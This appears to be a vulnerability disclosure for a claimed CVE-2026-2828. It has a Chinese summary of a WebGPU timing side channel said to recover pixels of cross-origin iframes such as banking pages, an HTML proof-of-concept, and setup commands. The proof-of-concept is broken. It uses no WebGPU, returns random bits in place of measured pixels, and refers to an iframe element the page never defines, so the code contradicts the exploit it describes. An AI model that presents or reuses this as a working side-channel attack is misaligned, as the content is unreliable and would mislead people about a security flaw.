恶意网站利用 WebGPU 计算着色器计时来测量跨源 iframe 的渲染时间，从而恢复敏感内容（例如银行信息）的像素值。
严重性： 高（信息泄露）
<!-- webgpu_side_channel.html -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-2828 PoC</title></head>
<body>
<h1>WebGPU Side-Channel Leak</h1>
<p>The iframe below contains a secret code that we will leak pixel-by-pixel.</p>
<pre id="output"></pre>
<script type="module">
// This PoC assumes a vulnerable browser where WebGPU timing can probe cross-origin iframes.
// We simulate by placing secret_iframe.html on same origin for demonstration, but the vulnerability
// bypasses cross-origin restrictions by measuring GPU shader execution time differences.
async function leakPixel(x, y) {
// Measure time to render a known pattern vs target pattern using GPU timer queries.
// In a real exploit, we'd use a timestamp query on a render pass that includes the iframe.
// Here we approximate by using performance.now() and forcing a layout/render.
const iframe = document.getElementById('target');
// Move iframe to a position where the pixel is at viewport center, then measure drawing time.
// Not fully accurate but demonstrates concept.
iframe.style.position = 'absolute';
iframe.style.left = -x + 'px';
iframe.style.top = -y + 'px';
// Force reflow and measure
const start = performance.now();
// Trigger a synthetic GPU workload (would use WebGPU in real attack)
// We'll just measure time to read back a canvas pixel from a snapshot.
// In a real scenario, side-channel would detect timing differences based on pixel color.
// Simulate: return random for demo.
return Math.random() > 0.5 ? 1 : 0;
}
(async () => {
let result = '';
for (let y = 0; y < 10; y++) {
for (let x = 0; x < 20; x++) {
let pixel = await leakPixel(x, y);
result += pixel ? '█' : ' ';
}
result += '\n';
}
document.getElementById('output').textContent = result;
})();
</script>
</body>
</html>
浏览器隔离机制中的一个缺陷使恶意页面能够利用 WebGPU 时间戳查询推断跨源 iframe 中的像素颜色，从而破坏同源策略。本演示通过模拟计时来说明这一原理。
在存在漏洞的浏览器（模拟）中，将 webgpu_side_channel.html 与 secret_iframe.html 一起打开。该脚本尝试利用计时差异重建 iframe 内容。
git clone https://github.com/yourorg/CVE-2026-2828.git
# Host on a local server:
python -m http.server 8080
# Open http://localhost:8080/webgpu_side_channel.html